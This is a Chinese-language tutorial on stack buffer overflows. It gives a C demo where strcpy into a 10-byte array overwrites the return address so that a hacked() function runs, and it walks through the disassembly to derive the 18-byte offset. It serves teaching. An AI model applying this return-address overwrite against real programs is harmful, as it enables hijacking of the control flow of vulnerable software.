在为C语言的数组等赋值时,可能赋值大小超出了数组的长度限制,这时超出的部分就会覆盖掉栈中其他部分的内容,从而发生缓冲区溢出。
下面用一个危险的例子进行说明:在这个程序中,我们利用strcpy()函数进行赋值操作。
C代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void StringCopy(char *str){
char p[10];
strcpy(p,str);
}
void hacked(){
while(1){
printf("you are hacked!!!");
}
}
int main()
{
char str[] = "0123456789012345678901234567891111";
unsigned long long *p = (unsigned long long*)&str[18];
(*p) = (unsigned long long)hacked;
//用hack函数的地址覆盖字符串str中的部分内容
//这里的18是在ubuntu64位下测试得到,其他系统可能会出现问题,不能正常运行
StringCopy(str);
return 0;
}
运行结果:
程序疯狂显示you are hacked;但这不是hack()函数的功能吗?我们并没有调用hack函数啊。
为了理解这个问题的本质,首先我们要知道,main函数在调用子函数时,首先会进行地址(下条命令的地址)压栈,然后将栈基址指针%ebp压栈;
然后会分配内存空间,如%esp-0x20(即分配32个空间,这个值具体看程序和OS),在这部分空间中进行函数内部操作;
函数执行完毕后,会清理掉这部分内存空间,弹出%ebp,并开始执行返回地址所指向的命令!
那么我们只需要覆盖这个返回地址,让它变成我们hack()程序的地址,那么程序就会执行hack程序了!
所以我们只需要计算返回地址的位置即可,StringCopy函数对应的汇编代码如下:
;4 : void StringCopy(char *str){
0x555555555169 endbr64
0x55555555516d push %rbp
0x55555555516e mov %rsp,%rbp
0x555555555171 sub $0x20,%rsp
0x555555555175 mov %rdi,-0x18(%rbp)
;5 : char p[10];
;6 : strcpy(p,str);
0x555555555179 mov -0x18(%rbp),%rdx
0x55555555517d lea -0xa(%rbp),%rax
#%ebp-0xa即为p的地址,p占十个字节;再加上%ebp占8个字节
0x555555555181 mov %rdx,%rsi
0x555555555184 mov %rax,%rdi
0x555555555187 callq 0x555555555060 <strcpy@plt>
;7 : }
0x55555555518c nop
0x55555555518d leaveq
0x55555555518e retq
从上述程序我们可以看出,从变量p到栈底%ebp,一共占18个字节,而18个字节之后,便是返回地址所在的位置。
执行strcpy之前:
执行strcpy之后:
可以看到,函数的返回地址已经发生了改变。
继续执行,可以看到%rip的值也发生了改变,并且程序跳转到了hack()函数中,这里就完成了缓冲区溢出的攻击。